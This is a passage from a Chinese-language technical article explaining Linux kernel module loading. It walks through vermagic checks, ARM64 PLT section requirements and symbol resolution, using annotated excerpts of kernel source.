style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">check_modinfo()</span></code></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="114" dir="auto" style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;"><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf="">// kernel/module.c</span></span><span leaf=""><br/></span><span style="color: rgb(163, 21, 21);"><span leaf="">static</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">int</span></span><span style="color: rgb(128, 128, 128);"><span leaf="">check_modinfo</span></span><span style="color: inherit;"><span leaf="">(</span><span style="color: rgb(0, 0, 255);"><span leaf="">struct</span></span><span leaf=""> module *mod, </span><span style="color: rgb(0, 0, 255);"><span leaf="">struct</span></span><span leaf=""> load_info *info, </span><span style="color: rgb(163, 21, 21);"><span leaf="">int</span></span><span leaf=""> flags)</span></span><span leaf=""><br/></span><span leaf="">{</span><span leaf=""><br/></span><span style="color: rgb(163, 21, 21);"><span leaf="">const</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">char</span></span><span leaf=""> *modmagic = get_modinfo(info, </span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;vermagic&#34;</span></span><span leaf="">);  </span><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf="">// 从 .modinfo 提取</span></span><span leaf=""><br/></span><span style="color: rgb(163, 21, 21);"><span leaf="">int</span></span><span leaf=""> err;</span><span leaf=""><br/></span><span style="color: rgb(0, 0, 255);"><span leaf="">if</span></span><span leaf=""> (flags &amp; MODULE_INIT_IGNORE_VERMAGIC)</span><span leaf=""><br/></span><span leaf="">        modmagic = </span><span style="color: rgb(163, 21, 21);"><span leaf="">NULL</span></span><span leaf="">;</span><span leaf=""><br/></span><span style="color: rgb(0, 0, 255);"><span leaf="">if</span></span><span leaf=""> (!modmagic) {</span><span leaf=""><br/></span><span leaf="">        err = try_to_force_load(mod, </span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;bad vermagic&#34;</span></span><span leaf="">);  </span><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf="">// 没有 vermagic → 污染内核</span></span><span leaf=""><br/></span><span style="color: rgb(0, 0, 255);"><span leaf="">if</span></span><span leaf=""> (err)</span><span leaf=""><br/></span><span style="color: rgb(0, 0, 255);"><span leaf="">return</span></span><span leaf=""> err;</span><span leaf=""><br/></span><span leaf="">    } </span><span style="color: rgb(0, 0, 255);"><span leaf="">else</span></span><span style="color: rgb(0, 0, 255);"><span leaf="">if</span></span><span leaf=""> (!same_magic(modmagic, vermagic, info-&gt;index.vers)) {</span><span leaf=""><br/></span><span leaf="">        pr_err(</span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;%s: version magic &#39;%s&#39; should be &#39;%s&#39;\n&#34;</span></span><span leaf="">,</span><span leaf=""><br/></span><span leaf="">               info-&gt;name, modmagic, vermagic);         </span><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf="">// vermagic 不匹配 → 直接拒载</span></span><span leaf=""><br/></span><span style="color: rgb(0, 0, 255);"><span leaf="">return</span></span><span leaf=""> -ENOEXEC;</span><span leaf=""><br/></span><span leaf="">    }</span><span leaf=""><br/></span><span style="color: rgb(0, 0, 255);"><span leaf="">if</span></span><span leaf=""> (!get_modinfo(info, </span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;intree&#34;</span></span><span leaf="">)) {                  </span><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf="">// 检查是否为树内模块</span></span><span leaf=""><br/></span><span style="color: rgb(0, 0, 255);"><span leaf="">if</span></span><span leaf=""> (!test_taint(TAINT_OOT_MODULE))</span><span leaf=""><br/></span><span leaf="">            pr_warn(</span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;%s: loading out-of-tree module taints kernel.\n&#34;</span></span><span leaf="">, mod-&gt;name);</span><span leaf=""><br/></span><span leaf="">        add_taint_module(mod, TAINT_OOT_MODULE, LOCKDEP_STILL_OK);</span><span leaf=""><br/></span><span leaf="">    }</span><span leaf=""><br/></span><span leaf="">    check_modinfo_retpoline(mod, info);                  </span><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf="">// 检查 retpoline</span></span><span leaf=""><br/></span><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf="">// ... staging, livepatch 等检查</span></span><span leaf=""><br/></span><span leaf="">}</span></code></pre><p data-line="145" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">vermagic 的比对逻辑在 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">same_magic()</span></code><span leaf=""> 中：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="147" dir="auto" style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;"><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf="">// kernel/module.c</span></span><span leaf=""><br/></span><span style="color: rgb(163, 21, 21);"><span leaf="">static</span></span><span style="color: rgb(0, 0, 255);"><span leaf="">inline</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">int</span></span><span style="color: rgb(128, 128, 128);"><span leaf="">same_magic</span></span><span style="color: inherit;"><span leaf="">(</span><span style="color: rgb(163, 21, 21);"><span leaf="">const</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">char</span></span><span leaf=""> *amagic, </span><span style="color: rgb(163, 21, 21);"><span leaf="">const</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">char</span></span><span leaf=""> *bmagic,</span><span leaf=""><br/></span><span style="color: rgb(163, 21, 21);"><span leaf="">bool</span></span><span leaf=""> has_crcs)</span></span><span leaf="">{</span><span leaf=""><br/></span><span style="color: rgb(0, 0, 255);"><span leaf="">if</span></span><span leaf=""> (has_crcs) {</span><span leaf=""><br/></span><span leaf="">        amagic += </span><span style="color: rgb(0, 122, 204);"><span leaf="">strcspn</span></span><span leaf="">(amagic, </span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34; &#34;</span></span><span leaf="">);</span><span leaf=""><br/></span><span leaf="">        bmagic += </span><span style="color: rgb(0, 122, 204);"><span leaf="">strcspn</span></span><span leaf="">(bmagic, </span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34; &#34;</span></span><span leaf="">);</span><span leaf=""><br/></span><span leaf="">    }</span><span leaf=""><br/></span><span style="color: rgb(0, 0, 255);"><span leaf="">return</span></span><span style="color: rgb(0, 122, 204);"><span leaf="">strcmp</span></span><span leaf="">(amagic, bmagic) == </span><span style="color: rgb(0, 128, 0);"><span leaf="">0</span></span><span leaf="">;    </span><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf="">// ← 严格字符串比对</span></span><span leaf=""><br/></span><span leaf="">}</span></code></pre><p data-line="160" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">如果内核启用了 CONFIG_MODVERSIONS，会跳过 vermagic 里第一个空格之前的内容再做比对（因为那部分是 UTS_RELEASE）。否则就是完整的 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">strcmp</span></code><span leaf="">。</span></p><p data-line="162" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">第三步：架构特定处理 —— </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">module_frob_arch_sections()</span></code></p><p data-line="164" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">在分配模块内存之前，内核调用架构钩子检查和预处理段结构。ARM64 的实现（</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">arch/arm64/kernel/module-plts.c</span></code><span leaf="">）尤其值得关注：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="166" dir="auto" style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;"><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf="">// arch/arm64/kernel/module-plts.c</span></span><span leaf=""><br/></span><span style="color: rgb(163, 21, 21);"><span leaf="">int</span></span><span style="color: rgb(128, 128, 128);"><span leaf="">module_frob_arch_sections</span></span><span style="color: inherit;"><span leaf="">(Elf_Ehdr *ehdr, Elf_Shdr *sechdrs,</span><span leaf=""><br/></span><span style="color: rgb(163, 21, 21);"><span leaf="">char</span></span><span leaf=""> *secstrings, </span><span style="color: rgb(0, 0, 255);"><span leaf="">struct</span></span><span leaf=""> module *mod)</span></span><span leaf="">{</span><span leaf=""><br/></span><span style="color: rgb(163, 21, 21);"><span leaf="">unsigned</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">long</span></span><span leaf=""> core_plts = </span><span style="color: rgb(0, 128, 0);"><span leaf="">0</span></span><span leaf="">;</span><span leaf=""><br/></span><span style="color: rgb(163, 21, 21);"><span leaf="">unsigned</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">long</span></span><span leaf=""> init_plts = </span><span style="color: rgb(0, 128, 0);"><span leaf="">0</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">    Elf_Shdr *tramp = </span><span style="color: rgb(163, 21, 21);"><span leaf="">NULL</span></span><span leaf="">;</span><span leaf=""><br/></span><span style="color: rgb(163, 21, 21);"><span leaf="">int</span></span><span leaf=""> i;</span><span leaf=""><br/></span><span style="color: rgb(0, 0, 255);"><span leaf="">for</span></span><span leaf=""> (i = </span><span style="color: rgb(0, 128, 0);"><span leaf="">0</span></span><span leaf="">; i &lt; ehdr-&gt;e_shnum; i++) {</span><span leaf=""><br/></span><span style="color: rgb(0, 0, 255);"><span leaf="">if</span></span><span leaf=""> (!</span><span style="color: rgb(0, 122, 204);"><span leaf="">strcmp</span></span><span leaf="">(secstrings + sechdrs[i].sh_name, </span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;.plt&#34;</span></span><span leaf="">))</span><span leaf=""><br/></span><span leaf="">            mod-&gt;arch.core.plt_shndx = i;</span><span leaf=""><br/></span><span style="color: rgb(0, 0, 255);"><span leaf="">else</span></span><span style="color: rgb(0, 0, 255);"><span leaf="">if</span></span><span leaf=""> (!</span><span style="color: rgb(0, 122, 204);"><span leaf="">strcmp</span></span><span leaf="">(secstrings + sechdrs[i].sh_name, </span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;.init.plt&#34;</span></span><span leaf="">))</span><span leaf=""><br/></span><span leaf="">            mod-&gt;arch.init.plt_shndx = i;</span><span leaf=""><br/></span><span style="color: rgb(0, 0, 255);"><span leaf="">else</span></span><span style="color: rgb(0, 0, 255);"><span leaf="">if</span></span><span leaf=""> (!</span><span style="color: rgb(0, 122, 204);"><span leaf="">strcmp</span></span><span leaf="">(secstrings + sechdrs[i].sh_name,</span><span leaf=""><br/></span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;.text.ftrace_trampoline&#34;</span></span><span leaf="">))</span><span leaf=""><br/></span><span leaf="">            tramp = sechdrs + i;</span><span leaf=""><br/></span><span leaf="">    }</span><span leaf=""><br/></span><span style="color: rgb(0, 0, 255);"><span leaf="">if</span></span><span leaf=""> (!mod-&gt;arch.core.plt_shndx || !mod-&gt;arch.init.plt_shndx) {</span><span leaf=""><br/></span><span leaf="">        pr_err(</span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;%s: module PLT section(s) missing\n&#34;</span></span><span leaf="">, mod-&gt;name);</span><span leaf=""><br/></span><span style="color: rgb(0, 0, 255);"><span leaf="">return</span></span><span leaf=""> -ENOEXEC;         </span><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf="">// ← .plt 和 .init.plt 缺一不可</span></span><span leaf=""><br/></span><span leaf="">    }</span><span leaf=""><br/></span><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf="">// ... PLT 条目预分配逻辑</span></span><span leaf=""><br/></span><span leaf="">}</span></code></pre><p data-line="194" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">ARM64 的模块链接脚本同样印证了这一点（</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">arch/arm64/include/asm/module.lds.h</span></code><span leaf="">）：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="196" dir="auto" style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;"><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf="">// arch/arm64/include/asm/module.lds.h</span></span><span leaf=""><br/></span><span leaf="">SECTIONS {</span><span leaf=""><br/></span><span leaf="">    .plt </span><span style="color: rgb(0, 128, 0);"><span leaf="">0</span></span><span leaf=""> : { BYTE(</span><span style="color: rgb(0, 128, 0);"><span leaf="">0</span></span><span leaf="">) }</span><span leaf=""><br/></span><span leaf="">    .init.plt </span><span style="color: rgb(0, 128, 0);"><span leaf="">0</span></span><span leaf=""> : { BYTE(</span><span style="color: rgb(0, 128, 0);"><span leaf="">0</span></span><span leaf="">) }</span><span leaf=""><br/></span><span leaf="">    .text.ftrace_trampoline </span><span style="color: rgb(0, 128, 0);"><span leaf="">0</span></span><span leaf=""> : { BYTE(</span><span style="color: rgb(0, 128, 0);"><span leaf="">0</span></span><span leaf="">) }</span><span leaf=""><br/></span><span leaf="">}</span></code></pre><p data-line="205" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">内核构建工具链生成的 .ko 天然带这三个段（大小可以为 0，内容为 1 字节占位）。自己构建的 .ko 如果缺少这些段，ARM64 的 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">module_frob_arch_sections</span></code><span leaf=""> 直接返回 -ENOEXEC。x86_64 没有这个硬性要求。</span></p><h3 data-line="207" dir="auto" style="margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.25em;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">符号解析、重定位与初始化</span></h3><p data-line="209" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">第四步：符号解析 —— </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">simplify_symbols()</span></code></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="211" dir="auto" style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;"><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf="">// kernel/module.c</span></span><span leaf=""><br/></span><span style="color: rgb(163, 21, 21);"><span leaf="">static</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">int</span></span><span style="color: rgb(128, 128, 128);"><span leaf="">simplify_symbols</span></span><span style="color: inherit;"><span leaf="">(</span><span style="color: rgb(0, 0, 255);"><span leaf="">struct</span></span><span leaf=""> module *mod, </span><span style="color: rgb(163, 21, 21);"><span leaf="">const</span></span><span style="color: rgb(0, 0, 255);"><span leaf="">struct</span></span><span leaf=""> load_info *info)</span></span><span leaf=""><br/></span><span leaf="">{</span><span leaf=""><br/></span><span leaf="">    Elf_Shdr *symsec = &amp;info-&gt;sechdrs[info-&gt;index.sym];</span><span leaf=""><br/></span><span leaf="">    Elf_Sym *sym = (</span><span style="color: rgb(163, 21, 21);"><span leaf="">void</span></span><span leaf=""> *)symsec-&gt;sh_addr;</span><span leaf=""><br/></span><span style="color: rgb(163, 21, 21);"><span leaf="">const</span></span><span style="color: rgb(0, 128, 0);"><span style="color: rgb(0, 0, 255);"><span leaf="">struct</span></span><span style="color: rgb(128, 128, 128);"><span leaf="">kernel_symbol</span></span><span leaf=""> *</span><span style="color: rgb(128, 128, 128);"><span leaf="">ksym</span></span><span leaf="">;</span></span><span leaf=""><br/></span><span style="color: rgb(0, 0, 255);"><span leaf="">for</span></span><span leaf=""> (i = </span><span style="color: rgb(0, 128, 0);"><span leaf="">1</span></span><span leaf="">; i &lt; symsec-&gt;sh_size / </span><span style="color: rgb(0, 0, 255);"><span leaf="">sizeof</span></span><span leaf="">(Elf_Sym); i++) {</span><span leaf=""><br/></span><span style="color: rgb(163, 21, 21);"><span leaf="">const</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">char</span></span><span leaf=""> *name = info-&gt;strtab + sym[i].st_name;</span><span leaf=""><br/></span><span style="color: rgb(0, 0, 255);"><span leaf="">switch</span></span><span leaf=""> (sym[i].st_shndx) {</span><span leaf=""><br/></span><span style="color: rgb(0, 0, 255);"><span leaf="">case</span></span><span leaf=""> SHN_UNDEF:                              </span><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf="">// ← 关键：未定义符号</span></span><span leaf=""><br/></span><span leaf="">            ksym = resolve_symbol_wait(mod, info, name);</span><span leaf=""><br/></span><span style="color: rgb(0, 0, 255);"><span leaf="">if</span></span><span leaf=""> (ksym &amp;&amp; !IS_ERR(ksym)) {</span><span leaf=""><br/></span><span leaf="">                sym[i].st_value = kernel_symbol_value(ksym);</span><span leaf=""><br/></span><span style="color: rgb(0, 0, 255);"><span leaf="">break</span></span><span leaf="">;                                </span><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf="">// 在内核符号表中找到了</span></span><span leaf=""><br/></span><span leaf="">            }</span><span leaf=""><br/></span><span style="color: rgb(0, 0, 255);"><span leaf="">if</span></span><span leaf=""> (!ksym &amp;&amp; ELF_ST_BIND(sym[i].st_info) == STB_WEAK)</span><span leaf=""><br/></span><span style="color: rgb(0, 0, 255);"><span leaf="">break</span></span><span leaf="">;                                </span><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf="">// 弱符号，允许不存在</span></span><span leaf=""><br/></span><span leaf="">            ret = PTR_ERR(ksym) ?: -ENOENT;</span><span leaf=""><br/></span><span leaf="">            pr_warn(</span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;%s: Unknown symbol %s (err %d)\n&#34;</span></span><span leaf="">,</span><span leaf=""><br/></span><span leaf="">                    mod-&gt;name, name, ret);</span><span leaf=""><br/></span><span style="color: rgb(0, 0, 255);"><span leaf="">break</span></span><span leaf="">;                                    </span><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf="">// 找不到 → 失败</span></span><span leaf=""><br/></span><span style="color: rgb(0, 0, 255);"><span leaf="">case</span></span><span leaf=""> SHN_ABS:</span><span leaf=""><br/></span><span style="color: rgb(0, 0, 255);"><span leaf="">break</span></span><span leaf="">;                                    </span><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf="">// 绝对符号，不需要重定位</span></span><span leaf=""><br/></span><span style="color: rgb(0, 0, 255);"><span leaf="">default</span></span><span leaf="">:</span><span leaf=""><br/></span><span leaf="">            secbase = info-&gt;sechdrs[sym[i].st_shndx].sh_addr;</span><span leaf=""><br/></span><span leaf="">            sym[i].st_value += secbase;               </span><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf="">// 段内符号，加上段基址</span></span><span leaf=""><br/></span><span style="color: rgb(0, 0, 255);"><span leaf="">break</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">        }</span><span leaf=""><br/></span><span leaf="">    }</span><span leaf=""><br/></span><span style="color: rgb(0, 0, 255);"><span leaf="">return</span></span><span leaf=""> ret;</span><span leaf=""><br/></span><span leaf="">}</span></code></pre><p data-line="250" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">核心逻辑：</span></p><ul style="margin-top: 0px;margin-bottom: 0.7em;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">shndx == SHN_UNDEF</span></code><p><span leaf="">（值为 0）→ 去内核符号表搜索，找到就把 st_value 填成内核地址</span></p></li><li><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">shndx == SHN_ABS</span></code><p><span leaf=""> → 已经是绝对值，不动</span></p></li><li><p><span leaf="">其他 → 段内定义的符号，st_value 加上所在段的加载基址</span></p></li></ul><p data-line="255" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 